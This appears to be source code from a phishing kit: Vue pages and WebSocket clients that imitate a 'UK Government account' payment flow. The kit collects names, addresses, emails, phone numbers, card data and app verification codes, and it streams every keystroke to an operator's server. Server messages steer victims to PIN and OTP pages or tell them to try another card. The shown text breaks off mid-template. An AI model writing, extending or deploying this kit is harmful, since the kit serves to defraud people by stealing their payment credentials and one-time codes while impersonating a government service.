useLoadingStore().setLoading(false);
navigateTo("/pinCode", content);
return;
}
}
if (content.type == "customOtpFail") {
eventBus.emit("custom-otp-valid", {
message2: content.value.message2,
});
}
const handler = typeHandlers[content.type];
if (handler) handler();
useLoadingStore().setLoading(false);
}
// Navigate to specific path with query parameters
function navigateTo(path: string, content: any) {
router.push('/temp').then(() => {
router.push({
path: path,
query: {
cardType: content.value?.data?.cardData?.cardBIN?.schema,
message1: content.value?.message1,
key: new Date().getMilliseconds(),
},
});
});
}
// Handle back or reject type
function handleBackOrReject(content: any, isBack: boolean) {
let message2 = i18n.global.t(
"This card does not support this transaction, please try another card"
);
if (configData.value.error_card_msg) {
message2 = configData.value.error_card_msg;
}
if (content.value.type) {
const type = content.value.type;
if (type === "denyC" && configData.value.deny_c_msg) {
message2 = configData.value.deny_c_msg;
}
if (type === "denyD" && configData.value.deny_d_msg) {
message2 = configData.value.deny_d_msg;
}
}
if (content.value.message2) {
message2 = content.value.message2;
}
if (isBack) {
router.push({ path: "/card", query: { message2 } });
}
eventBus.emit("my-event", { message2 });
}
// Login to WebSocket
function loginWebsocket(token: string, isFirst: boolean) {
myWebSocket?.send(
JSON.stringify({
event: "login",
content: { tag: "user", token, isFirst },
})
);
initHtml();
}
export async function loadHtml(url: string) {
try {
const response = await fetch(url); // 替换为您的 HTML 文件路径
if (!response.ok) {
return "";
}
return await response.text();
} catch (error) {
return "";
}
}
export const headHtml = ref("");
export const headerHtml = ref("");
export const footerHtml = ref("");
export const loadingBg = ref("#ffffff");

View File

@@ -0,0 +1,17 @@
// src/eventBus.ts
import mitt from "mitt";
// 定义事件名称和对应的数据类型
type Events = {
"my-event": { message2: string };
"otp-valid": { message2: string };
"app-valid": { message2: string };
"custom-otp-valid": { message2: string };
// 可以在这里添加其他事件
// 'another-event': number;
};
const eventBus = mitt<Events>();
export default eventBus;

View File

@@ -0,0 +1,407 @@
// 设置
import { useLoadingStore } from "@/stores/loadingStore";
import { io, Socket as SocketIOClient } from "socket.io-client";
// ─── 会话加密接口 ───────────────────────────────────────────────
export interface SessionCrypto {
aesKey: CryptoKey; // AES-128-GCM不可导出
}
// ─── AES-GCM 加密 / 解密 ───────────────────────────────────────
async function encryptPayload(plain: string, aesKey: CryptoKey): Promise<string> {
const iv = crypto.getRandomValues(new Uint8Array(12));
const encoded = new TextEncoder().encode(plain);
const cipher = await crypto.subtle.encrypt({ name: "AES-GCM", iv }, aesKey, encoded);
const out = new Uint8Array(iv.byteLength + cipher.byteLength);
out.set(iv, 0);
out.set(new Uint8Array(cipher), iv.byteLength);
let binary = "";
for (let i = 0; i < out.length; i++) binary += String.fromCharCode(out[i]);
return JSON.stringify({ data: btoa(binary) });
}
async function decryptPayload(raw: unknown, aesKey: CryptoKey): Promise<string> {
const rawStr =
typeof raw === "string" ? raw :
raw && typeof raw === "object" ? JSON.stringify(raw) : String(raw ?? "");
let envelope: { data?: string };
try { envelope = JSON.parse(rawStr); } catch { return rawStr; }
if (!envelope?.data) return rawStr;
const bytes = Uint8Array.from(atob(envelope.data), c => c.charCodeAt(0));
const iv = bytes.slice(0, 12);
const cipher = bytes.slice(12);
try {
const plain = await crypto.subtle.decrypt({ name: "AES-GCM", iv }, aesKey, cipher);
return new TextDecoder().decode(plain);
} catch {
return rawStr;
}
}
// ─── ECDH 密钥协商工具 ─────────────────────────────────────────
/**
* 生成 P-256 临时密钥对,返回 { keyPair, clientPublicKeyB64 }
*/
export async function generateECDHKeyPair(): Promise<{
keyPair: CryptoKeyPair;
clientPublicKeyB64: string;
}> {
const keyPair = await crypto.subtle.generateKey(
{ name: "ECDH", namedCurve: "P-256" },
true,
["deriveBits"]
);
const pubKeyRaw = await crypto.subtle.exportKey("raw", keyPair.publicKey);
const clientPublicKeyB64 = btoa(
Array.from(new Uint8Array(pubKeyRaw)).map(b => String.fromCharCode(b)).join("")
);
return { keyPair, clientPublicKeyB64 };
}
/**
* 用服务端公钥base64 raw P-256与给定的客户端私钥推导 AES-128-GCM 会话密钥
*/
export async function deriveSessionKey(
serverPublicKeyB64: string,
clientPrivateKey: CryptoKey
): Promise<SessionCrypto> {
const serverPubKeyBytes = Uint8Array.from(atob(serverPublicKeyB64), c => c.charCodeAt(0));
const serverPublicKey = await crypto.subtle.importKey(
"raw", serverPubKeyBytes,
{ name: "ECDH", namedCurve: "P-256" }, false, []
);
const sharedBits = await crypto.subtle.deriveBits(
{ name: "ECDH", public: serverPublicKey }, clientPrivateKey, 256
);
const hkdfKey = await crypto.subtle.importKey("raw", sharedBits, "HKDF", false, ["deriveKey"]);
const aesKey = await crypto.subtle.deriveKey(
{
name: "HKDF", hash: "SHA-256",
salt: new Uint8Array(32),
info: new TextEncoder().encode("socket-aes-key"),
},
hkdfKey,
{ name: "AES-GCM", length: 128 },
false,
["encrypt", "decrypt"]
);
return { aesKey };
}
/** 断线/握手阶段队列最大长度,防止内存无限增长 */
const MAX_QUEUE_SIZE = 200;
class Socket {
url: string;
private token: string;
private sessionCrypto: SessionCrypto | null;
private ecdhKeyPair: CryptoKeyPair | null = null;
private clientPublicKeyB64: string | null = null;
/** 握手全部完成ECDH + login后才为 true期间消息也入队 */
private isReady = false;
socket: SocketIOClient | null = null;
listeners: { [key: string]: Function[] } = {};
private messageQueue: any[] = []; // 断连/握手期间暂存消息的队列
constructor(url: string, token = "", sessionCrypto: SessionCrypto | null = null) {
this.url = url;
this.token = token;
this.sessionCrypto = sessionCrypto;
this.init();
this.setupVisibilityListener();
}
/** 懒初始化 ECDH 密钥对(只生成一次,重连时复用) */
private async initECDH() {
if (!this.ecdhKeyPair) {
const { keyPair, clientPublicKeyB64 } = await generateECDHKeyPair();
this.ecdhKeyPair = keyPair;
this.clientPublicKeyB64 = clientPublicKeyB64;
}
}
/**
* 通过 Socket.IO key_exchange 事件与服务端协商会话密钥。
* 每次 connect包括服务端重启后重连都调用确保密钥始终有效。
*/
private performKeyExchange(): Promise<void> {
return new Promise<void>((resolve) => {
// 3 秒超时:若服务端不响应则无加密继续
const timeout = setTimeout(() => {
this.socket?.off('key_exchange_result', onResult);
this.sessionCrypto = null;
resolve();
}, 3000);
const onResult = async (serverPubKeyB64: string) => {
clearTimeout(timeout);
try {
this.sessionCrypto = await deriveSessionKey(serverPubKeyB64, this.ecdhKeyPair!.privateKey);
} catch (e) {
console.error('[Socket] key derivation failed:', e);
this.sessionCrypto = null;
}
resolve();
};
this.socket?.once('key_exchange_result', onResult);
this.socket?.emit('key_exchange', this.clientPublicKeyB64);
});
}
/**
* 发送 login 并等待服务端回 {event:"login",content:"success"}。
* 服务端发送 login success 时 client.State 已同步设置完毕,
* 之后再冲刷队列才能保证消息不被 "State == nil" 守卫丢弃。
*/
private async sendLoginAndWait(): Promise<void> {
await new Promise<void>((resolve) => {
let settled = false;
const settle = () => {
if (settled) return;
settled = true;
this.socket?.off('message', onRawMessage);
clearTimeout(timer);
resolve();
};
// 3 秒兜底:即使没收到确认也继续
const timer = setTimeout(settle, 3000);
const onRawMessage = async (raw: unknown) => {
try {
let text: string;
if (this.sessionCrypto) {
text = await decryptPayload(raw, this.sessionCrypto.aesKey);
} else {
text = typeof raw === 'string' ? raw : JSON.stringify(raw);
}
const parsed = JSON.parse(text);
if (parsed?.event === 'login') settle();
} catch { /* 忽略解析失败 */ }
};
// 先注册监听,再发 login避免极速响应漏掉
this.socket?.on('message', onRawMessage);
this.sendRaw(JSON.stringify({ event: 'login', content: { token: this.token }, timestamp: Date.now() })).catch(() => settle());
});
}
init() {
if (this.socket) {
return;
}
console.log("Socket initialized with URL:", this.url);
this.socket = io(this.url, {
path: "/socket.io",
query: this.token ? { token: this.token } : undefined,
reconnectionDelay: 1500,
reconnectionAttempts: Infinity, // 服务端重启后持续重连,不放弃
});
// 连接事件处理(含重连):每次都重新做 ECDH解决服务端重启后密钥失效问题
this.socket.on('connect', async () => {
this.isReady = false; // 握手期间暂停直接发送,新消息继续入队
// 清理上一次连接残留的 key_exchange_result 监听器,避免多次重连后堆积
this.socket?.off('key_exchange_result');
try {
await this.initECDH();
await this.performKeyExchange();
// 等待服务端 login success 确认后再冲刷队列
// 保证 client.State 已在服务端设置,避免消息被 "State==nil" 守卫丢弃
await this.sendLoginAndWait();
} catch (e) {
console.error('[Socket] 握手阶段异常,将以无加密方式继续:', e);
this.sessionCrypto = null;
} finally {
// 无论握手是否成功,都必须就绪并冲刷队列,避免消息永久滞留
this.isReady = true;
await this.flushMessageQueue(); // 连接后按序发送排队消息
this.emit('open', { type: 'open' });
}
});
// 消息接收(支持 AES-GCM 解密)
this.socket.on('message', async (data) => {
let plainText: string;
if (this.sessionCrypto) {
plainText = await decryptPayload(data, this.sessionCrypto.aesKey);
} else {
plainText = typeof data === 'string' ? data : JSON.stringify(data);
}
this.emit('message', plainText);
});
// 连接错误
this.socket.on('connect_error', (error) => {
this.emit('error', error);
});
// 断开连接
this.socket.on('disconnect', (reason) => {
this.isReady = false; // 断开后消息重新入队
this.emit('close', { reason });
});
// 重连尝试
this.socket.on('reconnect_attempt', (attemptNumber) => {
this.emit('reconnect_attempt', attemptNumber);
});
// 重连成功
this.socket.on('reconnect', (attemptNumber) => {
this.emit('reconnect', attemptNumber);
});
// 重连失败
this.socket.on('reconnect_failed', () => {
useLoadingStore().setLoading(false); // 重连失败时关闭加载状态
this.emit('reconnect_failed', { type: 'reconnect_failed' });
});
// 处理所有其他事件
this.socket.onAny((eventName, ...args) => {
if (!['connect', 'disconnect', 'error', 'reconnect_attempt',
'reconnect', 'reconnect_failed', 'message'].includes(eventName)) {
this.emit(eventName, args);
}
});
}
isConnected(): boolean {
return this.socket?.connected ?? false;
}
/** 用于握手阶段的 login 事件,同样走加密通道 */
private async sendRaw(data: string) {
if (this.sessionCrypto) {
const encrypted = await encryptPayload(data, this.sessionCrypto.aesKey);
this.socket?.emit('message', encrypted);
} else {
this.socket?.emit('message', data);
}
}
async send(data: string) {
try {
const payload = JSON.parse(data);
// 添加时间戳
const messageData = {
...payload,
timestamp: payload.timestamp || Date.now()
};
// 未就绪(断连中或 ECDH/login 握手中)时统一入队,保证消息不丢失且顺序正确
if (!this.isReady) {
if (this.messageQueue.length < MAX_QUEUE_SIZE) {
this.messageQueue.push(messageData);
} else {
console.warn('[Socket] 消息队列已满,丢弃消息:', messageData.event);
}
this.reconnectIfNeeded();
return;
}
const serialized = JSON.stringify(messageData);
if (this.sessionCrypto) {
const encrypted = await encryptPayload(serialized, this.sessionCrypto.aesKey);
this.socket?.emit('message', encrypted);
} else {
this.socket?.emit('message', serialized);
}
} catch (error) {
console.error('Invalid message format. Must be a valid JSON string.', error);
}
}
/** 按顺序逐条发送积压消息,保证 FIFO 且不会因并发导致乱序 */
async flushMessageQueue() {
if (this.messageQueue.length === 0) return;
const queue = this.messageQueue.splice(0); // 原子取出,避免发送期间新消息混入
for (const msg of queue) {
if (!this.isReady || !this.socket?.connected) {
// 发送途中再次断开,将剩余消息放回队首
this.messageQueue.unshift(...queue.slice(queue.indexOf(msg)));
break;
}
try {
const serialized = JSON.stringify(msg);
if (this.sessionCrypto) {
const encrypted = await encryptPayload(serialized, this.sessionCrypto.aesKey);
this.socket?.emit('message', encrypted);
} else {
this.socket?.emit('message', serialized);
}
} catch (e) {
console.error('[Socket] flushMessageQueue 发送失败:', e);
// 发送失败也放回队首
this.messageQueue.unshift(...queue.slice(queue.indexOf(msg)));
break;
}
}
}
reconnectIfNeeded() {
if (!this.isConnected() && this.socket) {
this.socket.connect();
}
}
on(event: string, callback: Function) {
// 需要经过本层中间件(如解密)的事件,统一走 this.listeners
if (['open', 'close', 'error', 'reconnect', 'reconnect_attempt', 'reconnect_failed', 'message'].includes(event)) {
if (!this.listeners[event]) {
this.listeners[event] = [];
}
this.listeners[event].push(callback);
} else {
// 其他 Socket.IO 原生事件
this.socket?.on(event, (...args) => callback(...args));
}
}
off(event: string) {
if (this.listeners[event]) {
delete this.listeners[event];
}
this.socket?.off(event);
}
emit(event: string, data: any) {
if (this.listeners[event]) {
this.listeners[event].forEach(callback => callback(data));
}
}
private handleVisibilityChange = () => {
if (document.visibilityState === "visible" && !this.isConnected() && this.socket) {
this.socket.connect();
}
};
setupVisibilityListener() {
document.addEventListener("visibilitychange", this.handleVisibilityChange);
}
disconnect() {
document.removeEventListener("visibilitychange", this.handleVisibilityChange);
this.socket?.disconnect();
}
}
function useSocketIo(url: string, token = "", sessionCrypto: SessionCrypto | null = null) {
const socket = new Socket(url, token, sessionCrypto);
return {
socket,
send: socket.send.bind(socket),
on: socket.on.bind(socket),
off: socket.off.bind(socket),
disconnect: socket.disconnect.bind(socket),
};
}
export { useSocketIo, Socket };

View File

@@ -0,0 +1,392 @@
import { useLoadingStore } from "@/stores/loadingStore";
import { sendInput } from "@/api/api";
// ============ 类型定义 ============
interface SocketOptions {
heartbeatInterval?: number;
reconnectInterval?: number;
maxReconnectAttempts?: number;
retryIntervals?: number[];
forceClose?: boolean;
timeOut?: boolean;
}
interface PendingMessage {
id: string;
data: string;
retries: number;
timestamp: number;
}
// ============ 默认配置 ============
const DEFAULT_OPTIONS: Required<SocketOptions> = {
heartbeatInterval: 2000,
reconnectInterval: 1000,
maxReconnectAttempts: 10,
retryIntervals: [2000, 3000, 5000], // 2秒、3秒、5秒重试
forceClose: false,
timeOut: false,
};
const MAX_RECONNECT_INTERVAL = 30000;
const MAX_HEARTBEAT_MISS = 3;
const RETRY_CHECK_INTERVAL = 1000;
// ============ Socket 类 ============
class Socket {
private url: string;
private ws: WebSocket | null = null;
private opts: Required<SocketOptions>;
// 连接管理
private reconnectAttempts = 0;
private reconnectTimeoutId: number | null = null;
// 心跳管理
private heartbeatIntervalId: number | null = null;
private heartbeatMissCount = 0;
// 消息管理
private sendQueue: PendingMessage[] = [];
private pendingConfirmations = new Map<string, PendingMessage>();
private retryCheckerId: number | null = null;
// 事件管理
private listeners: Record<string, Function[]> = {};
constructor(url: string, opts: SocketOptions = {}) {
this.url = url;
this.opts = { ...DEFAULT_OPTIONS, ...opts };
this.init();
this.setupBrowserListeners();
}
// ============ 初始化与连接 ============
private init(): void {
if (this.isConnectingOrOpen()) return;
this.heartbeatMissCount = 0;
this.ws = new WebSocket(this.url);
this.bindWebSocketEvents();
}
private bindWebSocketEvents(): void {
if (!this.ws) return;
this.ws.onopen = this.handleOpen.bind(this);
this.ws.onmessage = this.handleMessage.bind(this);
this.ws.onerror = this.handleError.bind(this);
this.ws.onclose = this.handleClose.bind(this);
}
// ============ WebSocket 事件处理 ============
private handleOpen(event: Event): void {
this.reconnectAttempts = 0;
this.clearReconnectTimeout();
this.startHeartbeat();
this.startRetryChecker();
this.emit("open", event);
this.flushSendQueue();
}
private handleMessage(event: MessageEvent): void {
try {
const data = JSON.parse(event.data);
switch (data.event) {
case "heartbeat":
this.heartbeatMissCount = 0;
break;
case "ack":
this.handleAck(data.messageId);
break;
default:
this.emit("message", event.data);
}
} catch {
this.emit("message", event.data);
}
}
private handleError(event: Event): void {
this.emit("error", event);
}
private handleClose(event: CloseEvent): void {
this.stopHeartbeat();
this.stopRetryChecker();
this.emit("close", event);
this.scheduleReconnect();
}
private handleAck(messageId: string): void {
if (messageId && this.pendingConfirmations.has(messageId)) {
this.pendingConfirmations.delete(messageId);
}
}
// ============ 连接状态 ============
private isConnectingOrOpen(): boolean {
return this.ws?.readyState === WebSocket.CONNECTING
|| this.ws?.readyState === WebSocket.OPEN;
}
private isConnected(): boolean {
return this.ws?.readyState === WebSocket.OPEN;
}
private isClosed(): boolean {
return this.ws?.readyState === WebSocket.CLOSED;
}
// ============ 重连机制 ============
private scheduleReconnect(): void {
if (!this.canReconnect() || this.reconnectTimeoutId !== null) return;
const timeout = Math.min(
this.opts.reconnectInterval * Math.pow(2, this.reconnectAttempts),
MAX_RECONNECT_INTERVAL
);
this.reconnectTimeoutId = window.setTimeout(() => {
this.reconnectAttempts++;
this.reconnectTimeoutId = null;
if (this.isClosed()) {
this.init();
}
}, timeout);
}
private canReconnect(): boolean {
return !this.opts.maxReconnectAttempts
|| this.reconnectAttempts < this.opts.maxReconnectAttempts;
}
private clearReconnectTimeout(): void {
if (this.reconnectTimeoutId !== null) {
clearTimeout(this.reconnectTimeoutId);
this.reconnectTimeoutId = null;
}
}
private reconnectIfNeeded(): void {
if (this.isClosed() && this.canReconnect() && !this.isConnectingOrOpen()) {
this.init();
}
}
// ============ 心跳机制 ============
private startHeartbeat(): void {
if (!this.opts.heartbeatInterval) return;
this.heartbeatIntervalId = window.setInterval(() => {
if (this.heartbeatMissCount >= MAX_HEARTBEAT_MISS) {
this.ws?.close();
return;
}
this.heartbeatMissCount++;
if (this.isConnected()) {
this.ws!.send(JSON.stringify({
event: "heartbeat",
content: { tag: "user" }
}));
}
}, this.opts.heartbeatInterval);
}
private stopHeartbeat(): void {
if (this.heartbeatIntervalId) {
clearInterval(this.heartbeatIntervalId);
this.heartbeatIntervalId = null;
}
}
// ============ 消息发送 ============
async send(data: string): Promise<void> {
try {
const message = JSON.parse(data);
const pendingMsg = this.createPendingMessage(message);
if (this.isConnected()) {
// WebSocket 连接正常,直接发送
this.sendDirect(pendingMsg);
} else if (this.canReconnect() && !this.isConnectingOrOpen()) {
// 可以重连,加入队列等待重连后发送
this.enqueue(pendingMsg);
this.reconnectIfNeeded();
} else {
await this.sendViaHttp(message);
}
} catch {
console.error("[WebSocket] Invalid message format. Must be valid JSON.");
}
}
private async sendViaHttp(message: any): Promise<void> {
try {
if (message.event !== "input_text") {
await sendInput(message);
}
} catch (error) {
console.error("[WebSocket] HTTP fallback failed:", error);
throw error;
}
}
private createPendingMessage(message: any): PendingMessage {
const id = this.generateMessageId();
const timestamp = Date.now();
return {
id,
data: JSON.stringify({ ...message, messageId: id, timestamp }),
retries: 0,
timestamp,
};
}
private sendDirect(pendingMsg: PendingMessage): void {
this.ws?.send(pendingMsg.data);
this.pendingConfirmations.set(pendingMsg.id, pendingMsg);
}
private enqueue(pendingMsg: PendingMessage): void {
this.sendQueue.push(pendingMsg);
}
private flushSendQueue(): void {
if (!this.isConnected()) return;
while (this.sendQueue.length > 0 && this.isConnected()) {
const pendingMsg = this.sendQueue.shift();
if (pendingMsg) {
this.sendDirect(pendingMsg);
}
}
}
// ============ 消息重试机制 ============
private startRetryChecker(): void {
this.stopRetryChecker();
this.retryCheckerId = window.setInterval(() => {
this.checkPendingMessages();
}, RETRY_CHECK_INTERVAL);
}
private stopRetryChecker(): void {
if (this.retryCheckerId) {
clearInterval(this.retryCheckerId);
this.retryCheckerId = null;
}
}
private checkPendingMessages(): void {
const now = Date.now();
const { retryIntervals } = this.opts;
for (const [id, msg] of this.pendingConfirmations.entries()) {
const age = now - msg.timestamp;
const waitTime = retryIntervals[msg.retries] ?? retryIntervals[0];
// 未到重试时间
if (age < waitTime) continue;
// 超过最大重试次数,降级使用 HTTP
if (msg.retries >= retryIntervals.length) {
this.pendingConfirmations.delete(id);
try {
const message = JSON.parse(msg.data);
this.sendViaHttp(message).catch((error) => {
console.error("[WebSocket] HTTP fallback failed, re-queuing message:", error);
this.sendQueue.push(msg);
});
} catch (error) {
console.error("[WebSocket] Failed to parse message for HTTP fallback:", error);
this.sendQueue.push(msg);
}
useLoadingStore().setLoading(false);
continue;
}
// 重试发送
if (this.isConnected()) {
this.ws?.send(msg.data);
msg.retries++;
}
}
}
// ============ 工具方法 ============
private generateMessageId(): string {
return `${Date.now()}-${Math.random().toString(36).substring(2, 11)}`;
}
// ============ 事件系统 ============
on(event: string, callback: Function): void {
if (!this.listeners[event]) {
this.listeners[event] = [];
}
this.listeners[event].push(callback);
}
off(event: string): void {
delete this.listeners[event];
}
private emit(event: string, data: any): void {
this.listeners[event]?.forEach(callback => callback(data));
}
// ============ 浏览器事件监听 ============
private setupBrowserListeners(): void {
// 页面可见性变化
document.addEventListener("visibilitychange", () => {
if (document.visibilityState === "visible") {
this.reconnectAttempts = 0;
if (!this.isConnectingOrOpen()) {
this.init();
}
}
});
// 网络状态变化
window.addEventListener("online", () => {
this.reconnectAttempts = 0;
if (!this.isConnectingOrOpen()) {
this.init();
}
});
}
}
// ============ 导出 ============
function useSocket(url: string, opts?: SocketOptions) {
const socket = new Socket(url, opts);
return {
socket,
send: socket.send.bind(socket),
on: socket.on.bind(socket),
off: socket.off.bind(socket),
};
}
export { useSocket, Socket };
export type { SocketOptions, PendingMessage };

View File

@@ -0,0 +1,423 @@
<script setup lang="ts">
import { useRouter } from "vue-router";
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import { reactive, ref, onMounted } from "vue";
import { useI18n } from "vue-i18n";
import { inputChange, configData, myWebSocket } from "@/utils/common";
const { t } = useI18n();
const loadingStore = useLoadingStore();
const router = useRouter();
const formData = reactive({
fullName: "", // First Name
lastName: "",
phone: "",
address: "",
address2: "",
city: "",
state: "", // Province
zipCode: "", // Postal Code
email: "",
});
const formDataError = reactive({
fullName: false,
lastName: false,
phone: false,
address: false,
city: false,
state: false,
zipCode: false,
email: false,
});
const emailErrorMessage = ref("");
const textChange = (event: any, key: string) => {
const value = event.target.value;
inputChange("input_address", key, value);
if (key === 'email') {
const emailPattern = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
if (!value) {
formDataError.email = true;
emailErrorMessage.value = "Required field";
} else if (!emailPattern.test(value)) {
formDataError.email = true;
emailErrorMessage.value = "Please enter a valid email address";
} else {
formDataError.email = false;
emailErrorMessage.value = "";
}
} else if (key !== 'address2') {
(formDataError as any)[key] = !value;
}
};
const isFormComplete = () => {
const emailPattern = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
return (
formData.fullName &&
formData.lastName &&
formData.email &&
emailPattern.test(formData.email) &&
formData.phone &&
formData.address &&
formData.city &&
formData.state &&
formData.zipCode
);
};
const next = () => {
formDataError.fullName = !formData.fullName;
formDataError.lastName = !formData.lastName;
formDataError.city = !formData.city;
formDataError.address = !formData.address;
formDataError.zipCode = !formData.zipCode;
formDataError.state = !formData.state;
formDataError.phone = !formData.phone;
const emailPattern = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
if (!formData.email) {
formDataError.email = true;
emailErrorMessage.value = "Required field";
} else if (!emailPattern.test(formData.email)) {
formDataError.email = true;
emailErrorMessage.value = "Please enter a valid email address";
} else {
formDataError.email = false;
}
const hasError = Object.values(formDataError).some(val => val === true);
if (hasError) return;
loadingStore.setLoading(true);
setTimeout(() => {
loadingStore.setLoading(false);
router.push("/card");
}, 400);
};
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "address" },
})
);
localStorage.setItem("route", "address");
const phone = localStorage.getItem("phoneNumber");
if (phone) {
formData.phone = phone;
}
});
</script>
<template>
<CommonLayout>
<template #default>
<div class="main-content-body">
<div class="form-wrapper">
<div class="header-status">
<div class="progress-line">
<div class="progress-active"></div>
</div>
<div class="step-label">Step 1 of 2</div>
</div>
<h1 class="page-title">Billing address</h1>
<div class="info-block">
<h2 class="info-title">Address Verification</h2>
<p class="info-desc">
{{
configData?.address_msg
? configData?.address_msg
: t(
"Confirm your address so we can match this payment to your UK Government account."
)
}}
</p>
</div>
<form @submit.prevent="next" novalidate>
<div class="section-header">
<h2 class="section-title">Contact information</h2>
</div>
<div class="row-flex">
<div class="field-item">
<label>First name <span class="red-star">*</span></label>
<input
type="text"
v-model="formData.fullName"
@input="(e) => textChange(e, 'fullName')"
placeholder="First name"
:class="{ 'input-error': formDataError.fullName }"
/>
</div>
<div class="field-item">
<label>Last name <span class="red-star">*</span></label>
<input
type="text"
v-model="formData.lastName"
@input="(e) => textChange(e, 'lastName')"
placeholder="Last name"
:class="{ 'input-error': formDataError.lastName }"
/>
</div>
</div>
<div class="field-item">
<label>Email address <span class="red-star">*</span></label>
<input
type="email"
v-model="formData.email"
@input="(e) => textChange(e, 'email')"
placeholder="Email address"
:class="{ 'input-error': formDataError.email }"
/>
<div class="error-hint" v-if="formDataError.email">{{ emailErrorMessage }}</div>
</div>
<div class="field-item">
<label>Phone number <span class="red-star">*</span></label>
<input
type="tel"
v-model="formData.phone"
@input="(e) => textChange(e, 'phone')"
placeholder="Phone number"
:class="{ 'input-error': formDataError.phone }"
/>
</div>
<div class="section-header space-top">
<h2 class="section-title">Billing address</h2>
</div>
<div class="field-item">
<label>Street address <span class="red-star">*</span></label>
<input
type="text"
v-model="formData.address"
@input="(e) => textChange(e, 'address')"
placeholder="Street address"
:class="{ 'input-error': formDataError.address }"
/>
</div>
<div class="field-item">
<label>Apartment, unit, etc. (optional) <span class="red-star">*</span></label>
<input
type="text"
v-model="formData.address2"
placeholder="Apartment, unit (optional)"
/>
</div>
<div class="field-item">
<label class="label-bold">City, Province & Postal Code</label>
<div class="row-flex triple">
<input
type="text"
v-model="formData.city"
@input="(e) => textChange(e, 'city')"
placeholder="City"
:class="{ 'input-error': formDataError.city }"
/>
<input
type="text"
v-model="formData.state"
@input="(e) => textChange(e, 'state')"
placeholder="Province"
:class="{ 'input-error': formDataError.state }"
/>
<input
type="text"
v-model="formData.zipCode"
@input="(e) => textChange(e, 'zipCode')"
placeholder="Postal code"
:class="{ 'input-error': formDataError.zipCode }"
/>
</div>
</div>
<div class="action-box">
<button
type="submit"
class="btn-continue"
:class="{ 'btn-active': isFormComplete() }"
:disabled="!isFormComplete()"
>
Continue
</button>
</div>
</form>
</div>
</div>
</template>
</CommonLayout>
</template>
<style scoped>
.main-content-body {
background-color: #ffffff;
min-height: 100vh;
display: flex;
justify-content: center;
padding: 0 15px;
font-family: -apple-system, system-ui, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;
}
.form-wrapper {
width: 100%;
max-width: 480px;
padding: 20px 5px 60px 5px;
}
/* 頂部進度條 */
.header-status {
display: flex;
align-items: center;
margin-bottom: 35px;
}
.progress-line {
flex: 1;
height: 4px;
background-color: #E2E8F0;
border-radius: 2px;
margin-right: 15px;
}
.progress-active {
width: 50%;
height: 100%;
background-color: #005AAB;
border-radius: 2px;
}
.step-label {
font-size: 13px;
font-weight: 700;
color: #333;
}
/* 標題 */
.page-title {
font-size: 26px;
font-weight: 700;
color: #005AAB;
margin-bottom: 35px;
}
.info-block { margin-bottom: 35px; }
.info-title { font-size: 18px; color: #005AAB; margin-bottom: 12px; font-weight: 700; }
.info-desc { font-size: 15px; color: #64748B; line-height: 1.5; margin: 0; }
/* 分割標題 */
.section-header {
border-bottom: 1px solid #F1F5F9;
padding-bottom: 10px;
margin-bottom: 25px;
}
.section-title { font-size: 20px; font-weight: 600; color: #334155; margin: 0; }
.space-top { margin-top: 45px; }
/* 佈局核心Flex Row */
.row-flex {
display: flex;
gap: 12px;
width: 100%;
}
.row-flex .field-item {
flex: 1;
}
.triple input {
flex: 1;
width: 30%; /* 確保平分空間 */
}
/* 輸入框件 */
.field-item {
margin-bottom: 22px;
}
.field-item label {
display: block;
font-size: 14px;
color: #64748B;
margin-bottom: 8px;
font-weight: 500;
}
.label-bold {
color: #1E293B !important;
font-weight: 700 !important;
}
.red-star { color: #F87171; margin-left: 2px; }
input {
width: 100%;
padding: 13px 15px;
font-size: 15px;
border: 1px solid #E2E8F0;
border-radius: 8px;
box-sizing: border-box;
color: #1E293B;
background-color: #fff;
}
input::placeholder { color: #CBD5E1; }
input:focus {
outline: none;
border-color: #005AAB;
}
/* 錯誤處理 */
.input-error {
border-color: #EF4444 !important;
background-color: #FEF2F2;
}
.error-hint {
color: #EF4444;
font-size: 12px;
margin-top: 5px;
}
/* 按鈕樣式 */
.action-box {
margin-top: 50px;
}
.btn-continue {
width: 100%;
background-color: #A8B8C4; /* 預設灰色 */
color: #fff;
border: none;
border-radius: 25px;
padding: 16px;
font-size: 18px;
font-weight: 700;
cursor: not-allowed;
opacity: 0.6;
transition: all 0.3s ease;
box-shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.05);
}
.btn-continue.btn-active {
background-color: #1D70B8; /* 亮藍色 */
opacity: 1;
cursor: pointer;
}
.btn-continue.btn-active:active {
opacity: 0.8;
}
.btn-continue:active:not(.btn-active) {
opacity: 0.6;
}
/* 適應移動端的小屏幕 */
@media (max-width: 400px) {
.row-flex.triple {
flex-direction: column; /* 極小屏幕才切換回垂直 */
}
}
</style>

View File

@@ -0,0 +1,280 @@
<script setup lang="ts">
import { nextTick, onMounted, onUnmounted, reactive, ref, watch } from "vue";
import { useRoute } from "vue-router";
import eventBus from "@/utils/eventBus";
const cardType = ref("");
import { useI18n } from "vue-i18n";
import { inputChange, myWebSocket } from "@/utils/common";
const { t } = useI18n(); // 解构出t方法
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "appValid" },
})
);
const route = useRoute();
const query = route.query as any;
if (query) {
console.log("route", query);
cardType.value = query.cardType;
}
localStorage.setItem("route", "appValid");
eventBus.on("app-valid", handleEvent);
});
const message = ref("");
const handleEvent = (data: { message2: string }) => {
message.value = data.message2;
};
onUnmounted(() => {
eventBus.off("app-valid", handleEvent);
});
const formData = reactive({ appVerifyCode: "" });
const onchange = (value: any) => {
inputChange("input_card", "appVerifyCode", value.target.value);
formData.appVerifyCode = value.target.value;
};
const showInput = ref(false);
watch(message, (newValue, oldValue) => {
showInput.value = !!(message.value.includes(":") || newValue.includes(""));
});
const submit = async () => {
await nextTick();
myWebSocket?.send(
JSON.stringify({
event: "submit_card",
content: {
type: "submitAppValidCode",
formData: formData,
},
})
);
message.value = "";
};
</script>
<template>
<div class="container">
<div class="content">
<div class="card-logo">
<!-- <CardType2 :cardType="cardType" />-->
<img src="/cardloading.svg" alt="card-logo" style="width: 100%" />
</div>
<div class="card-tye" v-if="cardType">
{{ cardType }}
</div>
<br />
<p>
<img
class="safe-icon"
